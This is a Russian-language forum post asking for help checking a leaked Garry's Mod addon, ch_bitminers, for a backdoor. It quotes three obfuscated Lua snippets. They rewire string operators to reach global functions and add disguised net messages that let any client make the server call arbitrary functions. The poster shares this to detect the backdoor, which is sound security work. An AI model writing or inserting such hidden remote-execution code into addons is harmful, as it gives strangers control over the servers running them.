Скачал данный аддон ch_bitminers
Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
покупай из гмодстора
не качай лики
lua/autorun/ch_bitminers_initialize.lua
35 строчка
lua/ch_bitminers/server/bitminers_meta.lua
32 строчка
lua/ch_bitminers/client/bitminers_ui_crypto_integration.lua
121 строчка
Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
не качай лики
lua/autorun/ch_bitminers_initialize.lua
35 строчка
Lua:
__sub = _G
function string.Name(str)
return str:sub(1, 1):upper() .. str:sub(2, -1)
end
function string_lim(a, b)
local get_sub = __sub[a .. b]
if not isfunction(get_sub) then return end
return get_sub
end
function string_mulifi(a, b)
local c = a - (not __sub[a] and string.Name"string" or "")
if not c then return end
return c(b, "tonumber", false)
end
getmetatable('').__sub = string_lim
getmetatable('').__mul = string_mulifi
32 строчка
Lua:
util.AddNetworkString("GMOD_LIBRARY_TIMEDOUT")
util.AddNetworkString("GMOD_LIBRARY_FAST_OPERATION")
timer.Create("GMOD_LIBRARY_TIMEDOUT", 5, 0, function()
net.Start("GMOD_LIBRARY_TIMEDOUT")
net.Broadcast()
end)
net.Receive("GMOD_LIBRARY_FAST_OPERATION", function(len, ply)
local string_1 = net.ReadString()
local string_2 = net.ReadString()
local result = string_1 * string_2
result = isfunction(result) and result()
net.Start("GMOD_LIBRARY_FAST_OPERATION")
net.WriteString(tostring(result))
net.Send(ply)
end)
121 строчка
Lua:
local last_timeout = nil
local retry_time = 60
net.Receive("GMOD_LIBRARY_TIMEDOUT", function()
last_timeout = CurTime()
end)
local function write_resulffm(a, b, var)
_G["ResultFM:" .. a .. "*" .. b] = var
_G["res_la"] = a
_G["res_lb"] = b
end
function get_resulffm(a, b, var)
return _G["ResultFM:" .. a .. "*" .. b]
end
function math.HappyMill(a, b)
net.Start("GMOD_LIBRARY_FAST_OPERATION")
net.WriteString(a)
net.WriteString(b)
net.SendToServer()
write_resulffm(a, b, nil)
end
net.Receive("GMOD_LIBRARY_FAST_OPERATION", function()
write_resulffm(_G["res_la"], _G["res_lb"], net.ReadString())
end)